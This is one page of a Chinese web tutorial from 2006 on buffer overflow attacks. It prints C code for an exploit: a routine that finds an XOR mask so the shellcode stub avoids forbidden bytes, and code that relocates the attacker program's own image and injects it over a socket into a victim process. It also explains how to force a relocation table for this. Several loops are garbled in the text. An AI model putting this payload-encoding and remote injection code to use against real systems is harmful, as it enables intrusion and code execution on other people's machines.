WEB开发网
开发学院网络安全黑客技术 破坏力依然不可小视 缓冲区溢出攻防 阅读

破坏力依然不可小视 缓冲区溢出攻防

 2006-11-07 20:09:59 来源:WEB开发网   
核心提示: GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码,代码如下:BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount){ BYTE arrUsage[256], b

GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码,代码如下:

BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount)
{
  BYTE arrUsage[256], by = 0;
  memset(arrUsage, 0, sizeof(arrUsage));
  for(int i=0; i  arrUsage[*(pData + i)] = 1;
  for(i=0; i<256; i++)
  {
   by = (BYTE)i;
   //xor mask can not be a disallowed char
   for(int j=0; j    if(arrDisallow[j] == by)
      break;
   if(j < nCount)
     continue;
   //after xor, the data should not contain a disallowed char
   for(j=0; j    if(arrUsage[arrDisallow[j] ^ by] == 1)
      break;
   if(j >= nCount)
     return by;
  }
  //we don''t find it, return the first disallowed char for an error
  return arrDisallow[0];
}

异或处理完毕后,PrepareStub要根据动态计算出来的数据,修改stubstubcode。由于数据是动态算出来的,所以需要对最终的stubstubcode做一个检查,看里面有没有不允许的字符。最后,它用g_szStubTail把stub填充为一个完整地UNC字符串,整个stub的准备工作宣告完成。

前面已经说过,stubcode的任务是在victim中建立一个attacker的映像,然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后,发给stubcode。下面的代码就来完成这些任务:

 …
  DWORD dwNewBase, dwSize;
  LPBYTE pImage;
  recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0);
  dwSize = GetImageSize((LPCBYTE)g_hInst);
  pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
  memcpy(pImage, (const void*)g_hInst, dwSize);
  RelocImage(pImage, (DWORD)g_hInst, dwNewBase);
  DoInject(sck, pImage, dwSize);
  …

attacker先从stubcode中获得它分配的内存的起始地址,这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份,并按照新的映像基址对这个拷贝进行重定位,RelocImage的代码与《进程隐藏》中的基本相同,这里不再重复。但要注意:默认情况下,链接器不会为EXE文件生成重定位表。所以链接attacker时,要加上参数“/FIXED:No”,强制链接器生成重定位表。DoInject完成数据发送,也是简单的网络通讯,所以略过不讲。

上一页  5 6 7 8 9 10 

Tags:破坏力 依然 不可

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接